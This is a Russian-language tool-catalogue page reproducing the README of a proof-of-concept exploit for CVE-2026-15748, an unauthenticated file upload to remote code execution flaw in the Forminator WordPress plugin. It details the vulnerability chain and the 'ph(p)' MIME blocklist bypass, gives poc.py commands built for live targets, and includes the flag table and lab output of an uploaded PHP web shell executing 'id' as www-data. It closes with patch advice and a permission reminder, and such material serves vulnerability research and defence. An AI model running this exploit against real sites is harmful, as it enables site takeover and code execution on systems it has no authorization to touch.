Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-15748 — Forminator Forms <= 1.56.1 — Неаутентифицированная произвольная загрузка файлов через подделанную конфигурацию поля загрузки | Kitploit
Инструменты/GitHubGitHub/ubaydev/cve-2026-15748
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеRed Teaming
GitHububaydev/cve-2026-15748

CVE-2026-15748

Forminator Forms <= 1.56.1 — Неаутентифицированная произвольная загрузка файлов через подделанную конфигурацию поля загрузки

Репозиторий
20 ч 45 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-15748 — Forminator Forms: неаутентифицированная произвольная загрузка файлов → RCE

CVSS 9.8 (Critical) · Затронуто: Forminator <= 1.56.1 · Исправлено: 1.56.2 Исследователь: daroo (Wordfence Bug Bounty, $2,048) · ~600k активных установок Разбор: wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

Цепочка первопричин

Три слабых места объединяются через подделанное значение поля Select:

  1. Отсутствие санитизации вложенных массивов полей — Forminator_CForm_Front_Action::set_field_data() prepare_fields_info() перебирает каждое сохранённое поле. Для сохранённого поля Select select-1 значение $field_data = prepared_data['select-1'] — это управляемый атакующим вложенный массив. Когда в нём присутствует return, массив целиком добавляется к field_data_array (front-action.php ~строка 1088), до какой-либо санитизации/валидации по каждому полю. maybe_handle_custom_option() не удаляет эти значения.

  2. Недоверенная конфигурация поля считается доверенной при загрузке — Forminator_CForm_Front_Action::process_uploads() перебирает field_data_array, доверяет подделанному field_type == 'upload', использует подделанный name для выбора входа $_FILES и передаёт подделанный field_array как доверенную конфигурацию в Forminator_Upload::handle_file_upload().

  3. Обход блок-листа по точному ключу — forminator_allowed_mime_types() удаляет литеральный ключ php, но wp_check_filetype() трактует ключи как regex. Ключ ph(p) не отсекается блок-листом, но при этом соответствует суффиксу .php. additional-type = ph(p)|text/x-php позволяет файлу .php пройти валидацию.

Условие эксплуатации

Опубликованная форма должна содержать оба поля: File Upload и Select. Select — лишь переносчик.

Предостережение по эксплуатации (ПОДТВЕРЖДЕНО В ЛАБОРАТОРИИ)

  • Загрузка произвольного .php на диск успешно выполняется по умолчанию (для записи не требуется особая конфигурация).
  • Для RCE необходимо, чтобы в корне загрузки отсутствовал Apache .htaccess. Стандартный корень Forminator и пользовательский корень — оба получают .htaccess, блокирующий PHP (SetHandler none / RemoveHandler). RCE срабатывает только тогда, когда этот .htaccess отсутствует — сценарий из разбора: «пользовательский корень хранилища, созданный во время фронтенд-запроса, когда insert_with_markers() не загружен».
  • В лаборатории мы добились RCE, используя пользовательский корень хранилища и симулируя состояние без .htaccess.

Путь загрузки и хэш (важно для живого тестирования)

  • Стандартный корень: wp-content/uploads/forminator/ → файл по адресу wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.
  • Пользовательский корень: если администратор задал forminator_custom_upload_root (например, cveuploads), файлы попадают в wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.
  • <hash> — это wp_hash($form_id) — вычисляется из AUTH-солей сайта, поэтому он не предсказуем извне. poc.py выводит шаблон пути; чтобы завершить его, необходимо восстановить хэш (листинг каталога, URL/лог уже загруженного файла, запись в админке и т.п.) через --form-hash.
  • Имя загруженного файла = wp_generate_password(12,false,false) . '-' . <original> → например, cX3fRjMDDu03-shell.php (12 случайных буквенно-цифровых символов + + исходное имя).

Использование — poc.py

По замыслу — работа с живыми целями; вспомогательные функции локальной лаборатории (сканирование файловой системы, удаление .htaccess) ограничены только адресами http://wordpresslab.test / http://localhost.

root@kitploit:~
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/                       # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42

# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303

# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
    --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"

# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell

Флаги

Соответствие значений --auto (извлечено из HTML формы)

Пропускаются: внутренние поля (action/form_id/nonce/...), type="file" (upload-*), select-* (переносчик эксплойта), calculation-* (вычисляемые) и поля сторонних плагинов (wpforms[...]).

Воспроизведение в лаборатории (wordpresslab.test, WP 6.9.4 + Forminator 1.56.1)

Настройка:

  • Форма с настоящим полем Upload и полем Select (создана через build_form.php, API Forminator_Form_Model).
  • Включён пользовательский корень хранилища загрузок (forminator_custom_upload=1, forminator_custom_upload_root=cveuploads), чтобы можно было продемонстрировать RCE. cveuploads/ — это лабораторный артефакт, а не стандартное поведение Forminator.
  • Примечание: для чистого success=True подделанный name должен отличаться от element_id настоящего поля загрузки. При совпадающем имени файл всё равно загружается, но настоящее поле также выполняет собственную проверку MIME по умолчанию → в ответе сообщается об ошибке, хотя шелл уже находится на диске.

Сырые данные (лабораторный запуск):

root@kitploit:~
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php

[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id     -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data

# .htaccess present (protected): request returns raw PHP source (not executed)

Файлы

  • poc.py — PoC, рассчитанный на живые цели (автообнаружение, автозаполнение, verify-url, локальный помощник RCE)
  • build_form.php — программный конструктор лабораторной формы (upload + select) через API модели
  • README.md — этот документ

Меры по устранению

  • Обновите Forminator до >= 1.56.2 (блокирует обход MIME-блок-листа и путь с доверенной конфигурацией поля).
  • Убедитесь, что любой пользовательский корень хранилища загрузок защищён .htaccess/index-защитами Forminator.
  • Запускайте PoC только против целей, на тестирование которых у вас есть разрешение.
Скачать инструмент
-
FlagОписание
--targetбазовый URL (или полный URL страницы, если не заданы --page-id/ручные параметры)
--page-idID записи; если пусто, для получения nonce/form_id запрашивается сам целевой URL
--form-id, --nonceобход автоматического обнаружения; страница всё равно запрашивается для сбора через --auto
--upload-fieldимя настоящего поля загрузки (по умолчанию upload-1)
--forge-nameподдельный носитель $_FILES (по умолчанию = настоящее имя, режим коллизии; используйте отдельное имя для чистого success=True)
--selectиспользуемое поле select (по умолчанию select-1)
--extra name=valueпринудительно задать значение поля (повторяемый; --extra 'checkbox-1[]=a+b' для нескольких значений)
--auto / --no-autoизвлекать реальные поля формы из HTML и автоматически заполнять правдоподобные значения по типу (по умолчанию включено)
--upload-rootотносительный корень загрузки (по умолчанию wp-content/uploads/forminator; укажите, например, wp-content/uploads/cveuploads для пользовательского корня)
--form-hashчасть <hash> каталога загрузки → завершает/выводит конкретный URL
--verify-urlна живой цели: проверить URL кандидатного шелла через ?c=id/?c=whoami
--find-shellтолько локально (wordpresslab.test/localhost): найти самый свежий *-shell.php, удалить .htaccess, выполнить
--no-htaccessвывести примечание об удалении .htaccess из локальной лаборатории
Тип поляГенерируемое значение
email / имя содержит emailauto<rand>@mailinator.com
tel / имя содержит phone10 случайных цифр
url / имя содержит urlhttps://example.com/<rand>
numberслучайное 1–9999
date2026-08-19
группа чекбоксов/радиокнопок name[]первое значение варианта (сканируются все input с тем же именем)
одиночный чекбокс/радиокнопкаатрибут value, запасной вариант — checked
<select> (не переносчик)первая непустая опция
<textarea>случайный текст
обычный текст10 случайных символов